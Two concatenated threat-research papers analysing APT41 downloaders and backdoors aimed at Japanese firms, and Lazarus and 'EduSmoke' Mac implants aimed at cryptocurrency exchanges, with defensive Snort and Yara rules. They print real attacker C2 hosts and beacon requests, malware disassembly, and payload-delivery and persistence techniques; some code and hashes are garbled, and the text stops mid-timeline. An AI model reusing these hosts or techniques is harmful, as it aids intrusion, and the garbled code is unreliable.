In cybersecurity, it’s important to understand the whole picture of your enemy’s goals, but it’s also important to scrutinize their tools, tactics, and procedures (TTP) to plan your response. This paper highlights recent incidents that targeted Japanese entities, unique tactics used in spear-phishing emails, and the detection techniques for the malware.

Ayako Matsuda, Staff Research Scientist at FireEye. Ayako joined FireEye in 2015 as a Malware Researcher based in Tokyo. She is fascinated to conduct the malware analysis and reverse engineering especially for those used in the APT campaigns. In her daily operation, her global team is responsible for detection coverage of FireEye security products leveraging the dynamic and static analysis methods.
1. Introduction

For the past several years, Japan has been constantly targeted by multiple threat actors for espionage campaigns\([1]\) \([2]\) \([3]\). Initial compromise often involved spear-phishing email, specifically tailored to Japanese targets which are placed in unique position in terms of language, cultural manner, and geopolitics. Leveraging spear-phishing email at an early stage of the attack life cycle is a common practice among malicious actors including APT groups.

In February 2019, an incident that utilized SWEETCANDLE downloaders has been observed. This malware downloaded POISONPLUG backdoor. Both malware families are reported to be used by APT41\([4]\) which is a Chinese state-sponsored espionage group that is also conducting financially motivated activity for personal gain and have been in operation since 2014. This threat actor partially overlaps with public reporting on groups known as BARIUM\([5]\) and Winnti\([6]\) \([7]\) \([8]\). SWEETCANDLE was previously seen in a different incident which also targeted the Japanese entities in May 2018. Another downloader, SOURCANDLE which is like SWEETCANDLE, was observed in June 2019. Although, not all incidents have been attributed to APT41, there are similarities in the tradecraft of each campaign.

2. Study Case of Targeted Campaigns

Following sections describe each incident in chronological order.

A. Incident in May 2018

Figure 1 shows the spear-phishing email that was sent to an East Asian manufacturing company in May 2018. This email contains the password-protected ZIP archive (md5: b13c155d60cf097b30bd58b9bae1c5) with the file name “中国_投資概況.zip” (translates to “China_InvestmentOverview.zip”). The body of the message entices the recipient to enter the 4 letters abbreviation of the sender’s organization in lower case to open the zip file. Sending a password protected document is a common practice in Japan and make malicious attachments difficult to detect for email security solutions. Note that the password is not explicitly written in the message. This indicates that the threat actor knew that there was a certain level of trust relationship between the spoofed sender and the recipient. Abusing this trust gave the attacker a powerful advantage. The zip archive contained a PPSX file that leveraged CVE-2017-8759 to launch the SWEETCANDLE downloader that is discussed later.

![Figure 1. Phishing email sent in May 2018](image)
B. Incident in February 2019

In February 2019, a spear-phishing email leveraging the Sino-U.S. trade friction-themed lure was sent to an East Asian conglomerate (Figure 2).

In this case, it looks like the email was originally sent from a third party and forwarded to the recipient. However, based on the email source, the malicious file was added by a legitimate user’s account which may have been compromised. The email message contained the four letters abbreviation of the original sender’s organization as the password to use.

The email had a malicious RAR file attached (md5: 278d2d4fb29aa85caabf428592966d, file name “【顧客配布可】米中摩擦～新たな世界秩序と企業戦略.rar” which translates to “【Distributable to Customers】 Sino-U.S. trade friction～New world order and corporate strategy.rar”). The RAR file contained a SWEETCANDLE downloader that was slightly modified from the previous version. It attempted to download a POISONPLUG payload, a modular backdoor with plug-in capabilities.

C. Incident in June 2019

In June 2019, a malicious document (md5: ac845ad6a5ac75842ead069f5daf29a1) with the Japanese-language content related to an employee of a multinational electronics company based in China was uploaded to VirusTotal. The exploit document was generated by a builder associated with multiple Chinese espionage operators. The malware delivered by this sample was a SOURCANDLE downloader.

About a month later, a spear-phishing campaign which again targeted the Chinese employee working for the Japanese-based company was observed. The RAR file (md5: a2f92506399811846f97b039e52bb170) with the file name “亚洲化学工业现状研究.rar” (Chinese that translates to “Research status of Asian chemical industry.rar”). This RAR archive also contained a SOURCANDLE downloader.

In both cases, the same sample (md5: 5d105cd33be63400c9e36a9d74d1c564) was ultimately dropped.
3. Malware and Detection

The following sections discuss the detection technique from various aspects.

A. SWEETCANDLE

Table 1 provides the basic information of the PE file on the SWEETCANDLE downloader found in II.A Incident in May 2018.

<table>
<thead>
<tr>
<th>MD5</th>
<th>e1e9bb5be6d6c2a63397565f483ac9</th>
</tr>
</thead>
<tbody>
<tr>
<td>PE Type</td>
<td>DLL</td>
</tr>
<tr>
<td>PE TimeStamp</td>
<td>2018-05-30 02:04:13</td>
</tr>
<tr>
<td>File Size</td>
<td>72704 Bytes</td>
</tr>
</tbody>
</table>

| Table 1. PE information of SWEETCANDLE |

The fundamental functions as a downloader are performed by calling InternetOpenUrlA and WinExec (Table 2). The binary patterns around these Windows APIs are vital to detect this malware as a downloader.

```assembly
.loc_100013DA:          ; dwFlags
    push  4000000h
    push  0               ; dwHeadersLength
    push  0               ; lpszHeaders
    push  edi             ; lpszUrl
    push  esi             ; hInternet
    call ds:InternetOpenUrlA
    mov     edi, eax
    test    edi, edi
    jnz     short loc_1000140F
    ...
    push  0               ; uCmdShow
    lea     edx, [ebp+Buffer]
    push    edx
    lea     edx, [ebp+Buffer]
    call    ds:WinExec
```

| Table 2. Download Functions |

Figure 3 shows the network traffic generated from this sample, and Figure 4 shows the code snippet to calculate the parameter values for this HTTP GET request.

```
GET //shop//img//marks_escrow//index.php?uid=1FCBFBBF000206A7 HTTP/1.1
User-Agent: Microsoft Internet Explorer
Host: www.suamok.com
```

Figure 3. Callback of SWEETCANDLE

The value of the uid parameter on this beacon is composed of EDX (highlighted in green) and EAX (highlighted in yellow) which contains the result of issuing the cpuid instruction; specifically, advanced CPU capabilities and CPU model information respectively.
Having a double slash in the URL path is rather unique. The CPU information that is set in the uid parameter is also characteristic of this malware family. As an example, the signature can be written with Snort as below (Table 3).

```
alert tcp any any -> any any ( msg:"SWEETCANDLE"; flow:to_server; content:"GET "; depth:4; content:"//"; distance:0; content:"//"; distance:0; content:"?uid="; distance:0; fast_pattern; content:" HTTP/1."; distance:0; content:"\0d\0a\"; distance:1; within:2; pcre:"/\./php\?uid=[0-9A-F]{8}000[0-9A-F]{5}/"; sid:1000; )
```

Table 3. Snort rule for SWEETCANDLE

Depending on the purpose, this signature can be tightened for places where false positives needs to be avoided or loosened for situations where hunting is allowed.

<table>
<thead>
<tr>
<th>MD5</th>
<th>484fbca345f7c95117d59bd039a0e9a3</th>
</tr>
</thead>
<tbody>
<tr>
<td>PE Type</td>
<td>Executable</td>
</tr>
<tr>
<td>PE TimeStamp</td>
<td>2019-02-21 08:15:40</td>
</tr>
<tr>
<td>File Size</td>
<td>80896 Bytes</td>
</tr>
</tbody>
</table>

Table 4. PE information of SWEETCANDLE

Unlike the previous sample, the PE type is changed from dll to executable and the way to execute the downloaded binary has also changed. The SWEETCANDLE sample in this case downloaded a JPG file that containing a PE file within it. Table 5 shows a part of the parsing logic for the JPG file.

First, the malware checks whether the downloaded file ends with 0xFFD9 which is the marker for the end of image. Then it retrieves the DWORD value right before the marker. This DWORD value is the size of PE file embedded within the JPG file and is used to calculate the beginning of the embedded PE object and extract it.
The extracted PE object was a dropper for POISONPLUG, and it's launched via cmd.exe using pipes.

```c
NumberOfBytesWritten = -1;
PipeAttributes.bInheritHandle = 1;
PipeAttributes.lpSecurityDescriptor = 0;
PipeAttributes.nLength = 12;
CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0x1000u);
GetStartupInfoA(&StartupInfo);
StartupInfo.wShowWindow = 0;
StartupInfo.hStdOutput = hWritePipe;
StartupInfo.hStdError = hWritePipe;
StartupInfo.dwFlags = 257;
StartupInfo.hStdInput = dword_414C54;
CreateProcessA("C:\Windows\System32\cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
```

If a Yara signature was written for the previous SWEETCANDLE sample and intended to detect the operation code around the WinExec call, the signature needs to be updated since the way to launch the downloaded file has changed. However, the code logic that sends the CPU information in the beacon is still the same as shown in Figure 5.
By normalizing the byte code that is different between the two samples, the Yara signature in Table 7 can detect the both samples. Due to the space limitation, the only essential part of operation code is chosen as an indicator.

```
rule SWEETCANDLE
{
  strings:
    $a1 = {
      B8 01 00 00 00
      8B C0
      0F A2
      C7 B? [4-5] 00 00 00 00
      8D B? [4-5]
      89 06
      33 C0
      89 5E ??
      89 4E ??
      89 56 ??
    }
  condition:
    (uint16(0) == 0x5A4D)
    and (uint32(uint32(0x3C)) == 0x00004550)
    and (uint16(uint32(0x3C)+0x18) == 0x010B)
    and all of them
}
```

Table 7. Yara signature for SWEETCANDLE
B. POISONPLUG

Table 8 provides the basic information of the PE file on the POISONPLUG backdoor found in II.B Incident in February 2019

<table>
<thead>
<tr>
<th>MD5</th>
<th>c8403fabda4d036a55d0353520e765c9</th>
</tr>
</thead>
<tbody>
<tr>
<td>PE Type</td>
<td>DLL</td>
</tr>
<tr>
<td>PE TimeStamp</td>
<td>2018-07-10 08:59:08</td>
</tr>
<tr>
<td>File Size</td>
<td>100864 Bytes</td>
</tr>
</tbody>
</table>

Table 8. PE information of POISONPLUG

This dll is loaded by a legitimate program (md5: 0F01571A3E4C71EB4313175AAE86488E), both of which are dropped by a dropper (md5: 3462f8f3c22fd21d577cb0b4123d4312). It decodes and loads embedded shellcode that employs anti-disassembly techniques and steps into the main module named Root. The Root plugin comes with five additional plugins. Table 9 shows the roles of each plugin.

<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>Root</td>
<td>Loads / Initializes plugins</td>
</tr>
<tr>
<td>101</td>
<td>Plugins</td>
<td>Manages plugins</td>
</tr>
<tr>
<td>102</td>
<td>Config</td>
<td>Manages config</td>
</tr>
<tr>
<td>103</td>
<td>Install</td>
<td>Installs / Uninstalls plugins</td>
</tr>
<tr>
<td>104</td>
<td>Online</td>
<td>Abstracts C2 Communication</td>
</tr>
<tr>
<td>201</td>
<td>HTTP</td>
<td>Performs C2 Communication</td>
</tr>
</tbody>
</table>

Table 9. POISONPLUG plugins

The plugins are units of code designed to perform limited and specific tasks and often depend on other plugins to carry out their tasks. The custom binary format consists of the header shown in Table 10. It’s followed by the actual functional code.

```c
struct PluginHeader{
    +00 uint32_t Magic1;
    +04 uint32_t Magic2;
    +08 uint32_t SizeOfPlugin;
    +0C uint32_t Flags;
    +10 uint32_t SizeOfTextSection;
    +14 uint32_t Unk1;
    +18 uint32_t Unk2;
    +1C uint32_t Unk3;
    +20 uint32_t EntryPointRVA;
    +24 uint16_t NTOptionalHeaderMagic;
    +26 uint16_t Unk4;
    +28 uint32_t NumSections;
    +2C uint32_t Timestamp;
}
```

Table 10. POISONPLUG plugin header
Figure 6 and Table 11 show the example of plugin header values.

<table>
<thead>
<tr>
<th>ID</th>
<th>100</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Root</td>
</tr>
<tr>
<td>Magic Values</td>
<td>0x7626ac24 and 0x0a137587</td>
</tr>
<tr>
<td>Timestamp</td>
<td>2018-07-10T08:55:04+00:00 (0x5B447468)</td>
</tr>
</tbody>
</table>

Table 11. The values in plugin header

The entry point of each plugin provides the interface that is used by the Root plugin to perform initialization and loading. When calling the entry point of a plugin, the Root plugin provides one of the integer values shown in Table 12.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>provide your exports to plugin</td>
</tr>
<tr>
<td>102</td>
<td>retrieve plugin id</td>
</tr>
<tr>
<td>104</td>
<td>retrieve plugin’s exports</td>
</tr>
<tr>
<td>103</td>
<td>retrieve plugin name (”Root” for the main plugin)</td>
</tr>
<tr>
<td>1</td>
<td>initialize plugin</td>
</tr>
<tr>
<td>0</td>
<td>kill plugin process</td>
</tr>
</tbody>
</table>

Table 12. The values in plugin header

Figure 7 shows the example of the interfaces.

```
switch ( a2 )
{
    case 0:
        to_killPlugin();
        goto LABEL_14;
    case 1:
        ret = to_initPlugin(a1, a3);
        return ret == 0;
    case 100:
    case 101:
        goto LABEL_14;
    case 102:
        *a3 = 100;
        goto LABEL_14;
    case 103:
        ret = sub_228A3(a3);
        return ret == 0;
    case 104:
        *a3 = 0x0f_32110;
        LABEL_14:
        ret = 0;
        break;
}
```

Figure 7. Example of plugin entry point
C2 communications are abstracted at two levels. First, there is the Online plugin which is the interface used to control C2 communications within the framework. For this sample, it’s configured to generate network traffic only between 8:59 AM and 12:59 PM and the timing is checked in the Online plugin. The Online plugin conducts the actual communication through another plugin, in this case the HTTP plugin.

Figure 8 is the hex dump of the HTTP POST request generated from the HTTP plugin.

![Table 13. Encoding logic](image)

The request body (highlighted in green) is encoded by the logic shown in Table 13.

![Figure 8. Callback of POISONPLUG](image)

If it’s possible to place a Snort plugin to decode the traffic, beacons may be detected by writing a decoder based on the encoding logic in Table 13. Figure 9 and Table 14 shows the example of raw data and its data format of decoded request body for the initial beacon.

![Figure 9. Example of raw data](image)
Since this backdoor gets decoded in memory and the request body is custom encoded, there are not many strong indicators for static and network-based detection.

Figure 10 shows the dynamic events captured on a malware automation analysis.

For a mutex, "\BaseNamedObjects\AJXTTLBVHLFJRNPTHLHN\NVNFZ" was specified in this case. Table 15 shows the parameters passed to the function which generates an upper-case pseudorandom string. It takes the minimum and maximum length of the random string, and a seed as arguments. In this case, it generates a pseudorandom string with the seed value 0x4F4C, and its length should be 0x10 to 0x30 letters. Eventually, this generated string is used for a mutex to guard command and control.
For registries, a pseudorandom string with 3 to 8 letters is generated at 0x002625E5 as shown in Table 16. It is used as a registry key name.

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Note</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>0x08</td>
<td>Performance Counter</td>
<td>17 db 95 36 d7 76 16 b4</td>
</tr>
<tr>
<td>0x08</td>
<td>0x10</td>
<td>System Time</td>
<td>e3 07 09 00 04 00 13 00</td>
</tr>
</tbody>
</table>

Table 16. Parameters to generate a random string

Once the registry key was set with the pseudorandom string, 0x18 bytes of data is added into the key. Table 17 shows the format of data set in a registry key.

Although it’s still difficult to find indicators from this artifact, one of the possible solutions is to check if the 0x10-bytes data at offset 8 matches the proper datetime format. For instance, it should start with “e? 07” which represents 2016 to 2031 in decimal, and every other byte as a null in the rest of the data.

C. SOURCANDLE

Table 18 provides the basic information of the PE file on the SOURCANDLE downloader found in II.C Incident in June 2019.

| MDS       | 5d105cd33be63400c9e36a9d74d1c564 |
| PE Type   | Executable                       |
| PE TimeStamp | 2019-01-24 23:08:32           |
| File Size | 14014464 Bytes               |

Table 18. PE information of SOURCANDLE
Figure 11 shows the network traffic generated from this sample.

```
GET /phpcms/modules/block/block_modules.php?UID=R6qxY2hgMjM2NTA6Hju1MQ1&ws=NjQxMvNua29udw== HTTP/1.1
User-Agent: Mozilla/4.0(compatible;MSIE8.0;WindowsNT6.0;Trident/4.0)
Host: www.longfeiye.com
```

Figure 11. Callback of SOURCANDLE

The value in the `ws` parameter can be base64 decoded to the following (Table 19).

<table>
<thead>
<tr>
<th>Field</th>
<th>Possible values</th>
</tr>
</thead>
<tbody>
<tr>
<td>Platform</td>
<td>32 or 64</td>
</tr>
<tr>
<td>Runtime library version/OS Version</td>
<td>1–19</td>
</tr>
<tr>
<td>AV version</td>
<td>Arbitrary</td>
</tr>
</tbody>
</table>

Table 19. Format of Base64 decoded string

Table 21 shows the corresponding code that verifies the system architecture and sets the value to either “32” or “64”.

```
.text:0040346D
.text:0040346D 8D 85 CC FB FF FF       lea     eax, [ebp+SystemInfo]
.text:00403473 50                      push    eax                             ; lpSystemInfo
.text:00403474 FF 15 C8 83 51 00       call    ds:GetSystemInfo
.text:0040347A 66 83 BD CC FB FF FF 09 cmp     word ptr [ebp+SystemInfo.anonymous_0], 9
.text:00403482 74 0F                   jz      short loc_403493
.text:00403484 66 83 BD CC FB FF FF 06 cmp     word ptr [ebp+SystemInfo.anonymous_0], 6
.text:0040348C B8 10 F1 53 00          mov     eax, offset a32                 ; "32"
.text:00403491 50                      push    eax                             ; Src
.text:00403492 50                      push    ebx                             ; SizeInBytes
.text:00403493 E8 CF F9 0E 00          call    _strcpy_s
.text:0040349A 50                      push    eax                             ; Dst
.text:0040349B 50                      push    ebx                             ; Dst
.text:0040349E B8 00 04 00 00          mov     ebx, 400h
.text:0040349F 58                      push    ebx                             ; SizeInBytes
.text:004034A0 50                      push    eax                             ; Dst
.text:004034A3 50                      push    eax                             ; Dst
.text:004034A6 E8 CF F9 0E 00          call    _strcpy_s
```

Table 21. Building the `ws` parameter
Since the first field always starts with the hard-coded string either "32" or "64", "MzI" or "NjQ" should consistently appear after the parameter "&ws=". Table 22 shows examples of possible Snort signatures.

Table 22. Snort rule for SOURCANDLE

As shown in Table 19, there is a typo for the default value of "unkonw" for the AV version when it’s not identified. This could be another indicator to tighten the signature if too many hits are observed.

4. Conclusion

The public disclosures of a threat actor’s intrusion may affect their operation and result in re-tooling and shifting their tactics. It’s expected that they continue to evolve the malware to avoid detection and to complete their mission. To pursue these trends, it is important to place security protections at various layers to proactively seek new threats. Learning from the past ensures greater visibility at the strategic level.

Acknowledgements

The author would like to thank Umair Muhammad, Alex Lanstein, Takahiro Sajima, FLARE team, and FireEye Threat Intelligence team.
References


Mac Me MORE Money!!
Exploitation of Mac in Targetted Attacks

Dinesh Devadoss & Kaarthik R Muthukrishnan / K7 Computing

Abstract

Of late, cybercriminals have shifted their focus onto financial institutions, especially cryptocurrency exchanges. This would give a higher ‘Return-on-Investment’ than sticking to the increasingly “out-of-fashion” approach of illegal cryptomining or e-pickpocketing of wallets. Now, it is usually the Windows side of a malware story that gets told, but let’s shift the vantage point to the Mac side. Since the usage of Mac has increased in a corporate environment, cybercriminals have been incentivized to upgrade their arsenals to leverage a Mac setting. This paper presents two detailed case studies of two threat groups that lie at different points in the cybercriminal spectrum. One is a state-sponsored group, Lazarus, and the other is a little less documented and self-sustained threat actor group. In our lab we’ve dubbed the latter ‘EduSmoke’ (aliases HYDSEVEN and CRYPTO-3), on account of its spear-phish emails claiming to come from universities and an artefact in its binaries. Both of these groups have used Mac implants in their attack TTPs, and both have targeted financial institutions in Japan, the US and Poland, amongst others.

Dinesh Devadoss is a Threat Researcher at K7 Computing’s Threat Control Lab. He graduated with a Bachelor’s degree in Computer Science Engineering. He specialises in forensics, malware analysis and reversing malware written for Windows and MacOS.

Kaarthik R Muthukrishnan is a Senior Threat Researcher at K7 Computing’s Threat Control Lab. He graduated in 2007 with a Master’s degree in Computer Applications. He began his career as a Threat Research Analyst at Technosoft Corporation in 2008. Kaarthik joined K7 Computing’s Threat Control Lab in December 2010. Kaarthik has authored a paper for VB 2017, co-authored a paper for AVAR 2013 and one for AVAR 2018. He occasionally blogs on the K7 Computing blog site. Apart from security, Kaarthik is passionate about photography.
Lazarus group, infamous for the 2016 Bangladesh bank robbery, are ever on the lookout for pulling off heists. In 2019 it has already targeted several cryptocurrency exchanges. This paper focuses on various phases of its current kill chain, dissecting the weaponized documents and the espionage functionality of the Mac binaries. The Mac implants have been created using a cross-platform development framework named ‘Qt’. We’ll reveal how the code within the binaries matches the coding pattern from Lazarus’ previous attacks.

In our second case study, we delve into EduSmoke’s recent targetting of Coinbase, a cryptocurrency exchange, by exploiting two zero-days in Firefox (CVE-2019-11707 and CVE-2019-11708) as the initial infection vector. These tactics, combined with a well-choreographed spear-phishing manoeuvre, have allowed ‘EduSmoke’ to remain under the radar for quite some time. This paper would discuss EduSmoke’s TTPs, covering extensive analysis of its dropped backdoor binaries (OSX.Netwire and OSX.Mokes), which exfiltrate user data and are designed to support multiple platforms (Mac, Windows and Linux). We’ll also cover an interesting overlap of the command and control infrastructure that led us to trace the group’s activities back to at least 2016.

These case studies provide great insight, thereby enabling us to formulate effective counter measures against such sophisticated adversaries. We shall even explore detection methodologies based on the IOCs that we have discovered.
**Introduction**

For the past decade, Windows was the bullseye for cybercriminals. Of late, Mac usage in an enterprise environment has been slowly increasing and adversaries are tuning up to include Mac piercing weapons to their arsenal.

A brief look at the timeline of attack sheds some light on these attacks. This is to demonstrate that the APT groups have been active for a long time and are consistently trying to leverage potential victims.

For the past one year, we observed and studied about the attacks involved on entities that had Mac in their infrastructure; it turned out that Lazarus and EduSmoke attacked cryptocurrency exchanges. In this paper we would be discussing case studies of the two groups fuelled by the want of financial returns, the difference being that one is supposedly state-sponsored whereas the other is self-sustained.

**Case Study 1. Lazarus DragonEx Attack**

Lazarus group (AKA Hidden Cobra) is one of the most notorious APT groups. Of late they have been attributed to several attacks on cryptocurrency exchanges like Coincheck, Bithumb, Coinrail, and DragonEx, amongst others. The reasons that this group might have a political angle to it stem from the fact that there were press releases from the US stating so. Recently the U.S Department of Treasury announced that North Korean hacking groups had stolen up to $2 billion from financial institutions and cryptocurrency exchanges through cyberattacks to fund their illicit weapons and missile programs. [1]

[1]
This case study is specifically going to deal with the artefacts found in the DragonEx attack. We at K7 published a blog post that discusses on how the DragonEx attack was linked to the AppleJeus attack from Aug 2018, and in turn to Lazarus.\(^2\) The binaries used in both cases had a similar code control flow and both attacks used spear-phishing to intrude upon the victims.

**Weaponisation**

Threat actors sent out a crafted email to unsuspecting employees of the cryptocurrency exchange which acts as the first point of entry to the company’s network. Spear-phishing emails are carefully crafted based on the initial reconnaissance work, which is done mostly using all available open-source reconnaissance tools.

The initial vector:

1. A tailor-made email containing the download link of the fake cryptocurrency trading application.
2. Email with malicious macros embedded in the attachment.

---

**Trojanised Application**

The fake trading application is trojanised, which makes it handy to target the victim with a solid social engineering technique that would assure them of a high success rate. The threat actors relied on QT, a cross-platform development framework which enables them to create malware that is suited for multiple platforms.

The fake trading application is merely a dropper. It is at the time of installation that a post-install script executes an embedded binary in the resource directory. The embedded binary is the actual Lazarus implant. Normally an application package contains a pre-install and post-install script for the installation process. Lazarus leveraged on the post-install script to place their implant in the victim’s machine. Shown below is the post-install script with the specific arguments to initiate the binary after the installation of the trojanised application.
The application that was trojanised by Lazarus is an open-source QT Bitcoin Trader trading application. Trojanising of the application can be done with a few lines of bash script in macOS that can initiate an embedded Trojan inside a safe app.

**Macros**

The document that comes with the spear-phishing email contains an embedded malicious macro. This macro decides the payload delivery based on the operating system. If a Mac environment is detected, it downloads the corresponding payload and executes it, whilst in a Windows setup it executes a PowerShell script to do its bidding.

Shown below is the macro. There are two blocks, one that corresponds to Mac and the other corresponding to Windows. It is seen from the macro that there is a lame level of obfuscation still being done in the Windows code block. The Mac block uses curl to dump the file into a temporary location and then executes it with the existing permissions of the user.
Analysis of the Implant

First stage Mac implant does the initial reconnaissance and acts as a downloader for the final payload. This final payload is a fully functional backdoor. The malware collects useful system information like OS version, etc. This information is encrypted using a hard-coded key and uploaded onto the C&C until further action from the threat actor.

This implant was developed using the cross-platform software development framework called the QT framework. This can be inferred easily when we have a look at the Load DYLIB commands in the binary, as shown in Figure 7.

Persistence

This malware creates a Launch Agent plist file for persistence. The file that needs to persist and the implant reside in the resource directory of the application in a hidden form.
Functions

The implant gathers system information like *Host name, Kernel version, Kernel type, buildABI, Product type, Product version* using the *QSysInfo class*.

After initial reconnaissance, the implant downloads a backdoor and writes it to the disk with a special permission (0x1111) that allows it to be executed by any user, according to QT documentation.[5]

![Disassembly view of code changing the file permissions](image)

The backdoor on the other hand is capable of various functionalities namely:

*Exec, KeepAlive, Sleep, Die, Cmd, OtherShellCmd, Down, Upload, SessionExec, GetConfig, SetConfig*

These functionalities are pretty much self-explanatory. Some of these functions are listed in the screenshot below.

![Function calls in the backdoor](image)
Lazarus Traits

Even though these implants were designed for Mac platforms, we have witnessed a similar engineering design in the Windows implant of Lazarus.

1) ENCRYPTION STANDARDS

Usually Lazarus’s Windows backdoors employ encryption by XOR followed by RC4 encryption as an internal standard. The same standard was seen employed in the Mac binary also, as shown in the below image of the XorCrypt function, KSA (Key Scheduling Algorithm), PGRA (Pseudo Random Generation Algorithm) and RC4 functions.

![Figure 11. Encryption standards](image1)

![Figure 12. The image on the left depicts the implementation of RC4 using crypto API in a Windows implant from Operation Sharpshooter and the right image shows the RC4 implementation in a Mac implant](image2)
2) TROY REFERENCE

Operation Troy is one of the biggest cyber sabotage operations against South Korea where the hard drives of many organizations were wiped off. Operation Troy got its name from the string in the PDB path. Likewise, the Mac implant also had functions with names such as `Init_Troy`, `Reply_TroyInfo`, and `UninitTroy`.

![Figure 13. Troy Strings in the Mac implant](image)

3) LYING LOW BY MASKING THE NETWORK TRAFFIC

Lazarus uses numerous techniques like fake SSL, a proxy to mask the traffic, which will bypass security products. The same was done on these Mac implants too. The posted data used custom separators like “certpkg” and “get_config” which would raise less suspicion, and also any encrypted data is prepended with a GIF magic number while uploading to the C&C. Shown below are some of the network PCAPs with the aforementioned highlighted.
4) AVOIDING SANDBOXES

Many Windows malware require arguments to carry out their malicious activities. This is to avoid being executed by automated sandboxes. The image below shows the Mac implant code snippet where the argument is compared with the “PackageValidate” string, and only after successful validation does it carry out its malicious operation.

![Masked network packets](image)

![Arguments for Execution](image)

Lazarus, through this attack, made a profit of 7M worth of USDT as per the official statement from DragonEx. At the time of writing this paper, one tether converts to roughly 1 USD. This is from just including an extra platform in their attack vector.
Case Study 2. EduSmoke

In June 2019, Coinbase Employees received spear-phishing emails purportedly originating from Cambridge University regarding a research grant. After a series of conversations, the attacker sends an email containing an exploit after checking whether the potential victim is ripe for exploitation. The URL in the email which leads to the exploit has to be visited via Firefox otherwise it throws an error message stating that the “Browser is not supported”. Two vulnerabilities, namely CVE-2019-11707 and CVE-2019-11708, were exploited to deliver shellcode which downloads a stage 1 payload which is the NetWire RAT. CVE-2019-11707 is a type confusion vulnerability which allows remote code execution, and the other, CVE-2019-11708, is a sandbox escape vulnerability.

Based on this incident, we were able to link some previous attacks of this group which dated back to 2016. Interestingly, this group remained well under the radar for more than three years because of the nature of choosing the target and a well-choreographed spear-phishing attack. Studying about their previous attack showed their capability of using zero-days as part of their TTPs.

Stage 1 payload: OSX.Netwire

OSX.Netwire is the stage 1 payload; a commercial Remote Access Trojan which has support for various platforms. The payload does the initial reconnaissance of the target which helps the attacker to decide whether to deploy the stage 2 payload, which is OSX.Mokes in this case.

Shown below are the functions which were called to gather system information:

- Product Name: __kCFSystemVersionProductNameKey
- Product Version: __kCFSystemVersionProductVersionKey
- Build Version: __kCFSystemVersionBuildVersionKey
- Host name: _gethostname
- CPU information: machdep.cpu.brand_string
- Memory statistics: _host_statistics

NetWire payload mimics a Finder.app which is the default file manager for macOS. Also it doesn’t appear in the dock. This is achieved by setting LSUIElement to true in info.plist which forces the app to run as an Agent app given that Agent apps do not appear in the dock.
The malware achieves double persistence by creating a LaunchAgents property list file and having an entry in the login items by using the LSSharedFileListInsertItemURL API.

Other functionality:

1. Captures screenshot using the CGDisplayCreateImage API
2. Executes a bash script
3. Create/Rename/Del directory
4. Cleanup routines
5. Deploys the stage 2 payloads

Figure 17. Code snippets

Figure 18. Snippet of downloader function
Stage 2 payload: OSX.Mokes

OSX.Mokes/Ekoms is the malware deployed at stage 2. This has extensive capabilities of spying and exfiltrating the data to its C&C. It’s primarily developed using the QT framework and its size is quite huge at 14MB.

Mokes was discovered around the year 2016 by Kaspersky researchers. The name “Ekoms” was derived from the project name which is “Smoke”, i.e. in reverse.

The binary imports several libraries including DiskArbitration, CoreAudio, and CoreVideo indicating its capability to deal with audio and video. We also observed code snippets for File Search, Server Uploader and Downloader and Removable Storage monitor. Below is the image snippet of ACFCameraService method.

```
;   int64 __fastcall AVFCameraService::AVFCameraService(AVFVideoWidgetControl *this, _anonymous_namespace_::Q_OSLoader *)
   __NICE.CameraService2E2P2QObject proc near
push rbp
mov rbx, rsi
push r15
push r14
push rbx
push rax
mov rsi, rdi
  call __ZN12CameraService2E2P2QObject1@mediaService::CameraService2E2P2QObject
lea rbx, off_1008BC68
mov [rsi], rbx
mov qword ptr [rsi+40h], 0
mov edi, 48h ; unsigned __Int64
call __Znm ; operator new(along)
mov rbx, rax
xor edx, edx
mov rdi, rbx
mov rsi, r15
   call __Z:N1:AVFCameraServiceC1EP16AVFCameraService2P2QObject ; AVFCameraSession::AVFCameraSession(AVFCameraService *,QObject *)
mov [rsi+18h], rbx
mov edi, 30h ; unsigned __Int64
call __Znm ; operator new(along)
mov rbx, rax
xor edx, edx
mov edi, 20h
mov rdi, rbx
mov rax, rbx
mov rsi, r15
   call __Z:N1:AVFCameraControlC1EP16AVFCameraService2P2QObject ; AVFCameraControl::AVFCameraControl(AVFCameraService *,QObject *)
mov [rsi+20h], rbx
mov edi, 18h ; unsigned __Int64
call __Znm ; operator new(along)
mov rbx, rax
mov rdi, rbx
mov rsi, r15
   call __Z:N1:AVFCameraInfoControlC1EP14AVFObject2P2QObject ; AVFCameraInfoControl::AVFCameraInfoControl(QObject *)
mov [rsi+20h], rbx
mov edi, 28h ; unsigned __Int64
call __Znm ; operator new(along)
mov rbx, rax
xor edx, edx
```

Figure 19. Ekoms strings

Figure 20. Snippet of ACFCameraService method
The previous variants observed in the wild were hosted on URLs which had the pattern “http://x.x.x.x/v1”, and the latest variant has been hosted on “http://x.x.x.x/v2” indicating that the version has been bumped up. There is no major modification in v2 except that the symbols have been stripped off, making it more difficult to analyse. The image below shows the comparison between v2 and v1. By referring v1 we can easily identify its screen capture function.

Apart from the Mac version, Mokes payloads are seen for both Windows and Linux platforms similar to the multi-platform capability observed in NetWire.

This raised some questions about Mokes; was it another crimeware like NetWire?

While tracking the group backwards in time, we found a similar sample developed in QT, which masquerades as Stata, a statistical analysis software. But it secretly downloads a malware and the original software in the background. The whole process requires custom coding. Analyzing this particular malware provided insights as to how well-versed the threat actors are in QT. This thereby concludes that Mokes is also their handiwork.
Tracing Back (and forth) EduSmoke

We can make another connection by looking at the C&C infrastructure, common digital signatures and binary artifacts. This is not the first time that this group had used zero-days.

- **Timeline — March 2019 (WinRAR zero-day)**
  In March 2019, there was a spear-phishing campaign which exploited a WinRAR zero-day to drop NetWire, which also shared the same C&C as the Coinbase incident. The emails, here also, were impersonating a university approval council. The file that was dropped contained a digital signature which helped us to find the trojanised Stata binary mentioned earlier.

  ![EduSmoke Timeline](image)

  **Figure 23. Relationship**

- **Timeline — February 2019 (Stata binary)**
